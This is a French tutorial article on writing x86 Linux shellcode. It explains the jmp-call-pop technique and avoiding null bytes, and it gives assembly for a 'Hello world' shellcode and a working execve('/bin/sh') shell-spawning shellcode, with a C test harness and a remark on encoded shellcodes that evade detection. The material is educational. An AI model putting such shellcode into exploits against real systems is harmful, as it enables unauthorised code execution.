Zeste de savoir

Ecrivez votre premier shellcode en asm x86 !

12 août 2019

Table des matières

Cet article se veut la suite logique de l'écriture de votre premier programme en langage d'assemblage intel x86 sous Linux . Au travers de ces écrits, nous allons étudier, parmi la multitude de cas pratiques d'utilisation du langage d'assemblage (ou ”binaire”), l'écriture de **shellcodes**.

Il convient de définir ce terme anglais et technique. Nous pouvons voir que le terme **shellcode** est constitué de deux mots : **shell** et **code**. Avis aux amateurs et utilisateurs de systèmes d'exploitation type **UNIX** : nous parlons bien du même ”shell”, de l'interface système de votre distribution Linux favorite, de ”l'invite de commande”. Et puis nous avons le terme **code**. Ici, il désigne du code machine, du code exécutable.

? Mais alors, à quoi correspond exactement le terme ”shellcode” ?

Dans le domaine des sciences de l'information et des systèmes, s'il y a bien une ressource qui se veut fiable, c'est bien la célèbre encyclopédie Wikipédia. Citons une partie de sa page sur les shellcodes :

> Un shellcode est une chaîne de caractères qui représente un code binaire exécutable. À l'origine destiné à lancer un shell (’/bin/sh’ sous Unix ou command.com sous DOS et Microsoft Windows par exemple), le mot a évolué pour désigner tout code malicieux (et souvent malveillant) qui détourne un programme de son exécution normale. Un shellcode peut être utilisé par un hacker voulant avoir accès à la ligne de commande.

Source : http ://fr.wikipedia.org/wiki/Shellcode

En réalité, le terme ”malicieux” n'a pas sa place ici et il s'agit d'un abus de langage causé par le faux-ami *malicious* qui lui veut bien dire *malveillant*.

× Mais, stop ! Un shellcode est un code malveillant ? Je ne mange pas de ce pain-là ! Zeste de Savoir ne devrait recenser aucune ressource utile à la conception de codes malveillants !

Tout comme il est possible de faire des choses désastreuses avec des shellcodes, il est tout autant possible de faire des choses désastreuses avec un langage de programmation. Ce n'est pas l'outil qui est mauvais en soi, mais bien l'utilisation qui en est faite.

Ainsi, bien que la technique d'écriture du shellcode ait été conçue afin d'exploiter le flux d'exécution d'un binaire que nous avons préalablement exploité, il est tout à fait possible de faire un shellcode qui, par exemple, ne se contente que d'afficher un ”Hello world” à l'écran. Auquel cas ça n'aurait plus vraiment la définition de shellcode, mais nous garderons ce terme pour des raisons de simplicité.

Ainsi, nous définirons par shellcode une **séquence binaire autonome destinée à exécuter du code dans un environnement inconnu**. Le binaire qu'un hacker exploite est l'environnement inconnu, destiné à exécuter le shellcode une fois la vulnérabilité effectuée.

Si nous faisons l'analogie avec le monde du vivant, un **shellcode** est ni plus ni moins qu'un acaryote (une cellule sans noyau) qui a besoin d'une cellule hôte (avec noyau) pour se développer. Je n'ai pas fait le rapprochement avec un virus (qui lui aussi a besoin d'une cellule hôte pour se développer), car un virus se reproduit, se propage. Ce qui n'est pas le cas d'un shellcode.

Des exemples valent mieux qu'un long discours. C'est pourquoi nous commencerons en douceur par le traditionnel ”Hello world”. Et enfin, nous verrons le cas d'un shellcode réaliste qui exécute une invite de commande et est apprécié dans son utilisation concrète..

1. Exemple 1 : ”Hello world !”

Pour ceux qui se souviennent de mon premier article, nous avons écrit un ”Hello World” en binaire pour plateforme intel x86. La version qui nous intéresse plus particulièrement est celle avec les appels systèmes.

En effet, un code binaire autonome aura plus de facilité à ”appeler le service 4 de l'interruption 0x80” (4 = sys_write, ne l'oubliez pas) qu'à ”récupérer l'adresse de printf”. Je m'explique.

Dans le format ELF, il existe d'autres sections que la section `.text` (qui contient par définition notre code exécutable) ou la section `.data` (qui contient par définition les données statiques de notre programme). L'une d'elles se nomme par définition `.plt`, pour **Procedure Linkage Table**. Cette section regroupe l'ensemble des fonctions que nous voulons ”importer” de bibliothèques partagées. Par exemple, un programme compilé avec les options par défaut sous gcc et utilisant l'appel `printf` va stocker dans la section `.plt` l'adresse de la fonction `printf`, elle-même véritablement localisée dans la bibliothèque partagée `libc.so.6`.

Il serait fastidieux (mais pas impossible) de récupérer l'adresse de cette fonction dans notre shellcode. Il faudrait aller chercher des données à certaines adresses, elles-mêmes correspondantes à des adresses mémoires... Cela représente du temps de programmation et du temps de test. C'est beaucoup ! Surtout si nous voulons simplement afficher une phrase a l'écran. C'est pour ça que l'utilisation directe d'un appel système est toute indiquée !

Vous l'aurez compris : la première contrainte d'un shellcode est d'être *simple*. Ce n'est pas un programme à part entière, simplement une série d'instructions dites ”arbitraires” puisqu'elles sont exécutées généralement à l'insu du programme dans lequel elles ont été injectées.

Un shellcode a d'autres contraintes. Si vous vous souvenez de notre exemple avec les appels systèmes, la chaîne de caractères que nous voulions afficher était à une adresse fixe, dans une autre section. Ici, notre shellcode aura pour contrainte d'embarquer notre chaîne et de récupérer son adresse. Sachant qu'un véritable shellcode ne sait pas à quelle adresse il est exécuté. Nous voilà bien embêtés !

Il existe cependant une technique géniale pour aboutir à ce genre de chose : **jmp-call-pop**. Je l'expliquerai en même temps que je vous fournirai l'exemple ; sachez juste qu'elle permet grossièrement de récupérer l'adresse d'une donnée intéressante.

Une troisième contrainte non universelle cependant : certains shellcodes sont injectés au travers d'une fonction qui, par exemple, manipule un buffer qui ne doit pas contenir d'octets nuls (de "null-bytes", ou les fameux `\0` en C).

Et si je devais ajouter une quatrième contrainte : faites en sorte que votre shellcode soit **le plus petit possible**. Dans la majorité des cas vous l'injecterez dans un buffer potentiellement limité, ou à travers une trame réseau où il faut tabler sur un petit espace mémoire. Parfois ces contraintes sont absentes, mais il reste cependant intéressant de ne pas faire trop gros non plus.

i

En résumé...

Un shellcode "de base" doit :

- **être simple** : ne pas faire des pirouettes inutiles, aller droit au but. Ce n'est pas un programme, mais une série d'instructions arbitraires ;
- **ne pas dépendre de l'environnement courant** : il doit embarquer ses propres données et savoir les manipuler ;
- **répondre à certaines contraintes de caractères interdits** : on se retrouve parfois dans l'impossibilité d'injecter des null-bytes dans un buffer, par exemple ;
- **être le plus compact possible** : il se peut que tout notre shellcode ne soit pas copié en mémoire, et là c'est le drame !

!

J'attire une dernière fois votre attention sur le deuxième : certains shellcodes peuvent dépendre de l'environnement dans le cadre d'une attaque ciblée sur un binaire particulier, où l'environnement est déjà connu. Sachez avant tout qu'il s'agit d'un cas spécifique où, généralement, les attaquants ont besoin de faire des manipulations spéciales qui n'auraient pas lieu d'être dans d'autres cas (réutiliser des variables, manipuler la disposition de la pile d'exécution, etc.)

Les explications sont passées. On va enfin pouvoir présenter notre premier shellcode qui se contente de faire un Hello World en asm x86 !

```
% cat helloworld/helloworld.asm
bits 32

```

```
4  helloworld_shellcode:
5      ; On réinitialise les registres pour éviter les soucis
6      xor eax, eax
7      xor ebx, ebx
8      xor ecx, ecx
9      xor edx, edx
10
11     ; L'appel système sera le numéro 4
12     mov al, 4 ; utiliser al revient à ne pas laisser de null-bytes
           dans le shellcode
13     ; Si on avait utilisé eax, qui est un registre 32 bits, alors
           la valeur 4
14     ; aurait été considérée comme une valeur sur 32 bits, à savoir
           0x00000004...
15     ; Or on ne veut aucun null-byte !
16
17     ; On écrit sur la sortie standard
18     mov bl, 1 ; bl et non ebx, pour les mêmes raisons que ci-dessus
19
20     jmp helloworld_string ; ici intervient le jmp-call-pop.
21     ; On jump à l'étiquette "helloworld_string" ... (1)
22
23 helloworld_shellcode_next:
24     ; (2) Au sommet de la pile, on a l'adresse de la chaîne
25     ; "Hello World\n". On peut la dépiler et la mettre dans
26     ; ecx, qui contient le buffer à afficher !
27     pop ecx ; cette instruction n'utilise pas de null-byte non plus
           ! :)
28
29     ; On met la taille des données à afficher dans dl, soit 13
30     mov dl, 13
31
32     ; Nos registres sont initialisés !
33     ; On peut appeler l'interruption 0x80
34     int 0x80
35
36     ; On va maintenant terminer le programme.
37     ; l'appel système sera le numéro 1.
38     xor eax, eax ; eax = 0
39     inc eax ; incrémente eax, donc eax = 1
40
41     xor ebx, ebx ; le code de retour sera zéro
42
43     ; On peut appeler une seconde fois l'interruption 0x80
44     int 0x80
45
46 helloworld_string:
47     ; (1) ... Nous nous retrouvons ici. Nous faisons ensuite
48     ; un Call sur l'étiquette "helloworld_string_next". Le
49     ; call va empiler l'adresse mémoire qui pointe sur nos données
```

```
50      ; "Hello World\n", à savoir l'adresse de retour. Et ce même si
            ce
51      ; n'est pas du code exécutable que nous avons ici... (2)
52      call helloworld_shellcode_next
53      db `Hello world!\n`
```

Les explications sont données dans les commentaires. Néanmoins pour ceux qui auraient du mal à visualiser la technique du **jmp-call-pop**, des schémas seront les bienvenus.

Nous sommes à l'instruction :

```
1  jmp helloworld_string
```

Et la pile ressemble à...

```
1  +---------------------------------+ <-- esp
2  |     ... On ne sait pas          |
3  |     vraiment ce qu'il y a       |
4  |    en fait, et on s'en fout !   |
5  +---------------------------------+ <-- ebp
```

En vérité, on peut le savoir si on débogue notre programme, mais cela ne nous intéresse absolument pas.

En revanche, ce qui nous intéresse, c'est le flux d'exécution après avoir exécuté le `jmp` sur l'étiquette indiquée. Nous allons en effet exécuter ce code :

```
1  helloworld_string:
2      call helloworld_shellcode_next
3      db `Hello world!\n`
```

L'instruction `call helloworld_shellcode_next` va rediriger le flux d'exécution sur l'étiquette indiquée, mais en plus d'un simple `jmp`, va déposer sur la pile l'adresse de l'instruction suivante.

Ici, nous n'avons pas vraiment d'instruction suivante, puisque nous avons des données. Mais notre shellcode "croit" qu'il s'agit en fait d'instructions à exécuter, puisque nous avons embarqué nos données au sein de notre shellcode. Après l'exécution de ladite instruction, la pile ressemble à ça :

```
1  +---------------------------------+ <-- esp
2  | Adresse de retour (qui pointe   |
3  |      sur "Hello World\n")       |
4  +---------------------------------+
```

```
|     ... On ne sait pas          |
|     vraiment ce qu'il y a       |
|    en fait, et on s'en fout !   |
+---------------------------------+ <-- ebp
```

On a réussi à récupérer l'adresse mémoire qui pointe sur notre chaîne, et ce **indépendamment** du contexte d'exécution. Rappelez-vous, un shellcode ne sait pas à quelle adresse de base il s'exécute. C'est pour ça qu'il doit ruser. Le fait de faire un "call" permet de savoir à quelle adresse nous nous trouvons, puisqu'il suffit de lire l'adresse déposée sur le sommet de la pile d'exécution pour le savoir !

Il ne nous reste plus qu'à récupérer cette fameuse adresse "calculée" à partir de la technique "**jmp-call-pop**". Ainsi, l'instruction :

```
pop ecx
```

Va récupérer la donnée au sommet de la pile (à savoir notre adresse mémoire qui pointe sur notre "Hello world") et incrémenter le pointeur esp en conséquence, ainsi, la pile ressemblera à ça au final :

```
+---------------------------------+
| Adresse de retour (qui pointe   |
|      sur "Hello World\n")       |
+---------------------------------+ <-- esp
|     ... On ne sait pas          |
|     vraiment ce qu'il y a       |
|    en fait, et on s'en fout !   |
+---------------------------------+ <-- ebp
```

Mais cela n'a plus d'importance pour nous. Ce qui importe, c'est d'initialiser nos registres comme il faut, souvenez-vous !

Passé cette explication, nous allons assembler notre shellcode et le tester :

```
% nasm -f bin helloworld/helloworld.asm -o
    helloworld/helloworld.bin
```

On spécifie bien le format `bin` car nous voulons du binaire pur, et non un ELF.

Si nous affichons le contenu de notre shellcode avec l'outil `hexdump`, voici ce que nous obtenons :

```
 % hexdump -C helloworld/helloworld.bin
00000000  31 c0 31 db 31 c9 31 d2  b0 04 b3 01 eb 0c 59 b2  |1.1.1.1.......Y.|
00000010  0d cd 80 31 c0 40 31 db  cd 80 e8 ef ff ff ff 48  |...1.@1........H|
00000020  65 6c 6c 6f 20 77 6f 72  6c 64 21 0a              |ello world!.|
0000002c
```

Aucun null-byte ? (`00`) Alors on est bon ! Il ne manque plus qu'à le tester. Pour cela, nous allons nous servir d'un programme simple, écrit en C, qui va recevoir notre shellcode sur la ligne de commande :

Contenu du fichier **testshellcode.c** :

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char** argv) {
    if(argc < 2) {
        printf("Usage: %s <shellcode>\n", argv[0]);
        exit(EXIT_FAILURE);
    }

    printf("Size: %d bytes.\n", strlen(argv[1]));
    void (*shellcode)() = (void((*))()) (argv[1]);

    shellcode();

    return EXIT_SUCCESS;
}
```

Puisqu'il ne contient pas de null-bytes, il est possible de calculer sa taille avec la fonction standard `strlen`. Nous le faisons à des fins de statistiques.

Ensuite, nous déclarons un pointeur de fonction qui va pointer sur notre shellcode stocké dans `argv[1]` et l'exécuter !

Compilez le programme avec l'option `-m32` (32 bits oblige) et `-z execstack` afin que la pile d'exécution puisse contenir des données exécutables. En effet, les arguments de la ligne de commande se situent dans la pile d'exécution, et notre shellcode se situe dans la ligne de commande... En résumé, notre shellcode se situe dans la pile d'exécution, qui est une zone non exécutable de base.

```
 % gcc -o testshellcode testshellcode.c -m32 -z execstack
```

Et vient ensuite le moment décisif...

```
 % ./testshellcode `cat helloworld/helloworld.bin`
Size: 36 bytes.
Hello world!
```

HOURRA ! Notre shellcode fonctionne du feu de dieu !

Et si on attaquait un exemple concret, maintenant ?

2. Exemple 2 : execve(/bin/sh)

Dans ce shellcode, l'objectif sera d'appeler l'appel système `sys_execve` avec les paramètres suivants : `/bin/sh`, `NULL` (pas d'argument nécessaire) et `NULL` (pas d'environnement nécessaire non plus).

La seule difficulté réside à référencer la fameuse donnée `/bin/sh` au sein de notre shellcode. Je vous ai évidemment montré la technique **jmp-call-pop**, mais ça n'est pas la seule qui existe.

En effet, les shellcodes que vous trouverez sur le net auront tendance à déposer sur la pile des octets de sorte que `//bin/sh` se retrouve sur la pile, suivi d'un null-byte puisque l'appel système `sys_execve` attend une chaîne à la C comme précisé dans le manuel (`man execve`) :

```
       #include <unistd.h>

       int execve(const char *filename, char *const argv[],
                  char *const envp[]);
```

Le shellcode que nous ferons va donc d'abord empiler `n/sh` puis `//bi`, de manière à avoir sur la pile :

```
//bi
n/sh
```

Le fait d'empiler les valeurs quatre octets par quatre octets est que nous sommes dans un fonctionnement d'une architecture x86, à savoir 32-bits. La pile est alignée sur quatre octets de fait. Ainsi, le fait d'utiliser les micro-instructions `push` et `pop` nous fera manipuler les octets quatre par quatre.

Si nous empilons un, deux ou trois octets dans nos instructions, des zéros de bourrage seront rajoutés ; ce qui aura pour effet d'insérer des null-bytes dans notre shellcode. Chose que nous ne souhaitons pas.

Ainsi, `//bin/sh` est une chaîne dont la taille (8) est un multiple de 4. On est bon !

Et donc une chaîne de caractère cohérente et contiguë en mémoire. Et puisqu'elle sera au-dessus de la pile, il sera naturellement facile de récupérer son adresse.

Il ne faudra pas oublier d'empiler avant cela un null-byte afin que notre chaîne construite soit correctement terminée.

Récupérons le numéro d'appel système de `sys_execve` :

```
 % cat /usr/include/asm/unistd_32.h | grep execve
#define __NR_execve              11
```

Il s'agit de l'appel système numéro 11. On construit notre shellcode ?

```
bits 32

shellcode:
    ; On réinitialise les registres
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx

    ; Appel système 11
    mov al, 11

    ; ebx doit contenir un pointeur vers //bin/sh
    ; donc on construit la chaîne sur la pile

    push ebx ; ebx = 0, donc on a notre null-byte
    push `n/sh`
    push `//bi`

    ; A ce moment là, esp pointe sur `//bin/sh\0`
    mov ebx, esp ; on met dans ebx l'adresse de notre chaîne.

    ; ecx et edx valent déjà zéro (NULL)
    ; donc nous sommes tranquilles :)

    ; On exécute l'appel système
    int 0x80

    ; Et on quitte proprement
    ; (cf. shellcode Hello World)
    mov al, 1
    xor ebx, ebx
    int 0x80
```

On assemble notre shellcode et on le teste grâce au programme C fourni lors de l'illustration de l'exemple "Hello world" :

```
 % nasm -f bin execve_binsh/execve_binsh.asm -o
    execve_binsh/execve_binsh.bin
 % ./testshellcode `cat execve_binsh/execve_binsh.bin`
Size: 31 bytes.
$ echo "Coucou, je suis /bin/sh"
Coucou, je suis /bin/sh
$ ls
execve_binsh  helloworld  testshellcode  testshellcode.c
$ exit
```

Enfin ! Nous avons créé un shellcode qui a un véritable intérêt. L'article touche désormais à sa fin !

3. Et pour la suite ?

Nous avons vu le b.a.-ba de l'écriture des shellcodes. Sachez qu'il existe des shellcodes plus robustes, parmi lesquels :

— les shellcodes à code auto-modifiant : ceux-ci possèdent un "stub", ou un petit morceau de code destiné à déchiffrer le shellcode à la volée pour ensuite l'exécuter. L'intérêt d'avoir un shellcode chiffré est de contourner certains mécanismes de protection (caractères interdits, présence de `/bin/sh` dans le flux, ...) ;
— les shellcodes alphanumériques : des shellcodes uniquement composés des lettres de l'alphabet et des chiffres de 0 à 9. Cette contrainte fait qu'ils sont plus longs, mais sont plus difficiles à détecter.

La route est longue, mais la voie est libre. La conception de shellcodes n'a de limite que votre imagination.